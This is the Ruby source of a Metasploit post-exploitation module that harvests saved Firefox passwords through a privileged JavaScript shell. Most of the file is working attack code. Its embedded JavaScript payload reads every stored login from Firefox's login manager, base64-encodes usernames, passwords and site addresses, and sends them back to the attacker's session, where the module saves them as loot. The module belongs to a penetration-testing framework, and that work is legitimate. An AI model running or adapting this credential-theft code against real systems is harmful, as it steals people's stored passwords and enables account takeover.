86 lines
2.5 KiB
Ruby
86 lines
2.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'json'
|
|
require 'msf/core'
|
|
require 'msf/core/payload/firefox'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Payload::Firefox
|
|
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Firefox Gather Passwords from Privileged Javascript Shell',
|
|
'Description' => %q{
|
|
This module allows collection of passwords from a Firefox Privileged Javascript Shell.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'joev' ],
|
|
'DisclosureDate' => 'Apr 11 2014'
|
|
))
|
|
|
|
register_options([
|
|
OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
|
|
], self.class)
|
|
end
|
|
|
|
def run
|
|
results = js_exec(js_payload)
|
|
if results.present?
|
|
begin
|
|
passwords = JSON.parse(results)
|
|
passwords.each do |entry|
|
|
entry.keys.each { |k| entry[k] = Rex::Text.decode_base64(entry[k]) }
|
|
end
|
|
|
|
if passwords.length > 0
|
|
file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json)
|
|
print_good("Saved #{passwords.length} passwords to #{file}")
|
|
else
|
|
print_warning("No passwords were found in Firefox.")
|
|
end
|
|
rescue JSON::ParserError => e
|
|
print_warning(results)
|
|
end
|
|
end
|
|
end
|
|
|
|
def js_payload
|
|
%Q|
|
|
(function(send){
|
|
try {
|
|
var manager = Components
|
|
.classes["@mozilla.org/login-manager;1"]
|
|
.getService(Components.interfaces.nsILoginManager);
|
|
var logins = manager.getAllLogins();
|
|
var passwords = [];
|
|
var b64 = Components.utils.import("resource://gre/modules/Services.jsm").btoa;
|
|
var fields = ['password', 'passwordField', 'username', 'usernameField',
|
|
'httpRealm', 'formSubmitURL', 'hostname'];
|
|
|
|
var sanitize = function(passwdObj) {
|
|
var sanitized = { };
|
|
for (var i in fields) {
|
|
sanitized[fields[i]] = b64(passwdObj[fields[i]]);
|
|
}
|
|
return sanitized;
|
|
}
|
|
|
|
// Find user from returned array of nsILoginInfo objects
|
|
for (var i = 0; i < logins.length; i++) {
|
|
passwords.push(sanitize(logins[i]));
|
|
}
|
|
|
|
send(JSON.stringify(passwords));
|
|
} catch (e) {
|
|
send(e);
|
|
}
|
|
})(this.send);
|
|
|.strip
|
|
end
|
|
end
|